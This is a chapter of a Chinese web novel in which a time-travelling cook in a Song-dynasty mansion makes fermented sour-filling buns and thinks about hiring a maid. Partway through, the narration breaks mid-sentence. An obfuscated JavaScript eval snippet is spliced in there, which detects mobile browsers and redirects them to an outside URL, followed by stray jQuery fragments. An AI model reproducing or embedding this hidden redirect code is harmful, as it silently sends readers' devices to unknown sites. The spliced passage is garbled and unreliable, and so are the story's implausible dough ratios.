双儿一怔，似是没想明白柳金枝的意思。


    “娘子这是何意？这过了夜的素食馅料吃了岂不腹泻？”


    柳金枝笑摇头道：“非也。”


    宋代人爱吃酸馅儿包子，但他们眼中的酸馅儿包子，与柳金枝所说的并不一样。


    就如《古今小说·宋四公大闹禁魂张》里写到的一句：


    “宋四公夜至三更前后，向金梁桥上四文钱买两只焦酸馅。”


    这里的焦酸馅儿，就是指带馅儿的小吃。


    而柳金枝所说的酸馅儿包子，就是要用各类食材混在一同，放至微微发酸，再启用包料。


    只要做法得当，不仅不会腹泻，更是会增加馅料的鲜美程度。


    但是傅府重视亲情，傅钗华又是头胎，所以阖府上下极为看重。


    双儿第一次听说这酸馅儿包子，倒不敢拿主意直接端给傅钗华用。


    “若是双儿娘子忧心，不如我先做一份儿，娘子再叫几个人一同来食用，若是大家皆会腹痛难忍，那我便罢了。”柳金枝道。


    双儿觉得有理，松下口风：“如此，我这就差人去寻问，只是怕要费些功夫。”


    府内不缺银两，对丫头们的待遇也不错，所以她们大多是不吃过夜食品的。


    有个丫头站出来道：“双儿姐姐不必寻了，我哪儿倒有一盆上好的素菜馅料。本是昨夜拌好了，想包几个馄饨吃，却不想太忙，一时忘却了。”


    “你把馅料放哪儿了？”


    “拿条绳索挂在水井下头了。”


    水井下头颇为寒凉，再加上正是春寒料峭时，这馅料估计正保鲜，没什么大问题。


    双儿便愈加放松，笑道：“那正是巧了，你赶紧去把东西取来。”


    “是。”


    素菜馅料被端来时，盆上还好好地盖着一层纱布。


    柳金枝把纱布揭开，低头轻嗅，鼻尖顿时萦绕着一股淡淡酸味儿，不浓烈，就好像水滴入了一滴醋，倒是酸酸淡淡的好闻。


    “很好，这里头的馅料已经初步发酵了。”


    柳金枝很满意。


    双儿歪歪头，疑惑不解：“发酵？这是什么意思？”


    “嗷……就是……”柳金枝挠了挠头，“就是这盆馅料已经很适合做包子的意思。”


    “原来是这样，娘子用词真独特。”双儿由衷的夸。


    柳金枝尴尬地嘿嘿两声。


    馅料初步发酵，就会形成独特的酸味儿。


    这种酸味儿既可以增加馅料的鲜味儿，又可以促进消化。


    一般来说，膳工会选择将之加工成一种两头尖尖长长的包子，再上蒸笼，最后得出的包子鼓鼓的，口感更加松软，咬上一口，酸香扑鼻。


    像柳金枝这种爱吃酸辣口味儿的，就特别喜欢吃这种包子。


    不过大概是因为丫头月钱有限，所以这盆酸馅儿里头大多是素菜。


    摘蒂的木耳、洗净切丝的小白菜……


    许是觉得太没油水，于是里头又添了些肉沫。


    粗略一打量，应是最便宜的猪肉。


    但是也够了。


    柳金枝撸起袖子，找出了一袋面粉。


    古时候的筛粉技术较为粗糙，所以精细的好面粉不常见，价格又格外的贵。


    司□□能拿出来的面粉虽然还有一些糙口，但已经算是精细了，傅府的面粉居然更胜一筹。


    上手抓一把，粉质细腻无比，与现代品质面粉无异，一看就是筛过许多遍才得来的精品。


    轻轻煽动面粉袋上方空气，更是可以闻到一股清甜的小麦香气，一看就知道是用上好的小麦粒仔细脱壳磨出来的。


    果然是大富贵之家。


    柳金枝感叹了一句，态度也更加认真。


    毕竟好粮食不易得，要更珍惜才不算辜负。


    她舀出一勺面粉，用沉淀一夜的清澈井水兑水拌匀，大力揉搓，揉出一个大大的面团。


    为了让最后得出来的面食更劲道，她反复捶打面团足足一刻钟。


    最后把面团从盆里挖出来的时候，手光盆光，雪白的面团干爽无比地待在案板中央。


    旁边有丫头看着羡慕道：“娘子这和面的手艺真好，我和面的时候，不是粉多，就是面多。”


    “我也是，但偶尔也有揉得不错的时候。比如我做包子就比做馄饨好，我揉出来的馄饨皮总是太厚。”


    另有丫头点头说。


    柳金枝笑道：“揉面确实比较讲究，就拿做包子来说，要一杯面，两杯水，糖、盐也不能缺。”


    “但做馄饨又不一样了，虽然一样是一杯面，两杯水，但还要加蛋清、食言和花椒油。”


    “揉面则又要一变，一杯面，三杯水，却只要一小勺盐就够了。”


    两个丫头听的目瞪口呆。


    “原来揉面还有这么多讲究？难怪我只能做一样面食，同样的方法去做其他的就行不通了。”


    “柳娘子，你能再跟我们说说吗？”


    “我也想学。”


    几个丫头凑上来。


    都说教会了徒弟，饿死师傅。


    所以古时候好的师傅都藏私，不肯轻易把独门绝技交出去。


    因此同样的中华美食，却还分为许多派系，派系之下，又因传承人对食谱有了改良，所以又有了以传承人姓名来命名的各种招牌菜。


    柳金枝理解这些前辈的，但她无意于此。


    毕竟她从后世来，因风气兼容并包，早就学了百家菜系。


    如今若是再死守食谱不肯教出，倒对不起后世那些教导她的老师了。


    于是柳金枝将自己知道的揉面方法一一道来。


    几个丫头听的认真。


    其中一人听得津津有味，却叹气道：“我小时也爱做菜，却没人教我，我只好一个人瞎琢磨。进了府后，嬷嬷觉得我懂算账，想让我去内库帮忙，可我放不下膳房，就自请来这里干活儿。本来是想学些手艺的，不过至今还是个半吊子。”


    柳金枝闻言，不由得朝这人看去。


    眼前的女子约莫二十五岁光景，皮肤白净，眉眼虽只算得清秀，却自有一种温柔沉稳气质，就像一杯氤氲着热气的茶，看着就叫人舒心。


    一个丫头道：“柳娘子，你可别看阿芹这样说，她的手艺可是我们这几个里最好的。”


    “是啊，每天脑子里不是想着做菜，就是想着食谱。我们还常笑她，若她不在府里头做了，要去汴京城里支个食摊，我们必然都去帮她撑场子。”


    阿芹被说的不好意思，脸红道：“我哪儿有能力去支食摊？当个膳徒倒是不错。”


    柳金枝听着，不由心念一动。


    正好柳霄科举的钱已经存够了，若不出意外，将来柳霄就该以温书为主，至于食摊，她该另请人手。


    本来她还在犹豫人手不好找，懂算账，能顾摊的人才就更不好找。


    现在这个阿芹既然两者兼备，不如让她试探试探。


    也就笑呵呵地问道：“阿芹娘子，你的奴契何时到期？”


    阿芹想一想，满眼犹豫和迟疑，道：“算起来也就这两天了吧，其实我也不知该不该离开。”


    毕竟往外一步就是不可预知的未来，但如果留在傅府，别的不说，傅府家风温和，治下有道，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15531871|169610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    宛若温室，至少能护人无风无雨。


    柳金枝闻言，想了想，便以开玩笑的口吻道：“正巧我的食摊上还缺人手呢，芹娘子若出了府，不如去我哪儿。虽保不得吃香喝辣，每月的工钱却是一定准时结。”


    几个人都笑开了。


    阿芹也咧开了嘴，笑容却略带思量。


    面揉好就要发，足要一个半时辰。


    但一群人凑在一起说说笑笑，倒也不觉得时间漫长。


    直到双儿回转来，告诉她们傅钗华醒了，洗漱完就要用膳。


    一群人才加紧做起手上活儿来。


    不消半刻钟，包子就包好了，又放在蒸笼蒸。


    等到傅钗华将衣裳穿着齐整后，酸馅儿包子正好出炉。


    双儿与膳房里头的六个丫头都凑上来要试菜。


    柳金枝将蒸笼盖子一掀开。


    蒸汽噗嗤喷出，一时间迷乱人眼。


    众丫头却闻见一股扑鼻的酸香，不由得惊呼：


    “哇！”


    “好香！”


    ……


    双儿本还担心自己吃了这酸馅儿包子，会跑好几趟茅房，却不想这个味道这样香，心里的防备顿时卸了一半。


    阿芹一人发了一双筷子，每个丫头都夹了一个酸馅儿包子喂进嘴里。


    “唔……”阿芹嚼了几口，就不由得面露惊艳，“味道酸香鲜嫩，比一般的馅料更好吃！”


    双儿说不出来这么多话，也只一个劲儿地点头，又多咬了好几口。


    其他丫头也是一个赛一个吃得快。


    今早来膳房帮忙，她们可都没吃朝食呢。


    “吃完之后，咱们再等上个一时半刻，若并无不妥，那这碟包子就可以呈给大姐儿了。”


    双儿笑道。


    众人点头，吃完之后不喝水，也不吃其他，更不随意走动，只在膳房坐着。


    三刻钟后，前头服侍傅钗华的丫头又来催了第二道，众人你看看我，我看看你，互相确认并无不妥后，才叫双儿将这碟酸馅儿包子带走了。


    与此同时。


    傅钗华坐在铜镜前，望着镜中如花芙蓉面，先是一笑，后又忍不住伸出纤纤细指抚摸檀木桌上一排胭脂，对旁边眉眼俊朗的青年郎君道：


    “唉，自从有孕后，这些口脂、胭脂都用不到了。”


    “夫人眉不描自黑，唇不点自红，不用这些胭脂也有好气色。”


    傅钗华嗔笑道：“你惯会哄我开心，我这段时间吃不好，睡不好，脸色都难看了许多。”


    “女子孕中确实格外辛苦，为夫又是男子，帮不到夫人什么。好在傅弟认识那位柳娘子，我与他一同请了人家来。她做的膳食我用过，十分不错。我想若夫人吃了，即便不能开胃，也能多用一些。”


    柴靖温声道。


    “这位柳娘子倒是没怎么听说过，我只觉得上次你去蔡氏饭馆带回来的鱼不错。”傅钗华叹了口气，“只是妇人孕中不得多食鱼虾一类的河鲜，否则对胎儿不利，我才不得不少食些。”


    柴靖还要安慰，双儿却已经送了酸馅儿包子过来了。


    这包子几个并排摆在一只薄胎白釉碟子里，外皮雪白，鼓鼓圆圆，就像一只只小兔子，煞是可爱。


    柴靖忙不迭接过来，送到傅钗华面前，道：“夫人，膳食送来了，不如来试试？”


    傅钗华叹了口气，转头吩咐丫头们将漱口盆和手帕预备好。


    她怕自己刚吃就要吐。


    慢吞吞走到桌边坐下，柴靖夹了一只酸馅儿包子送到她嘴边。


    傅钗华犹豫了下，还是缓缓张开嘴，小小咬了一口。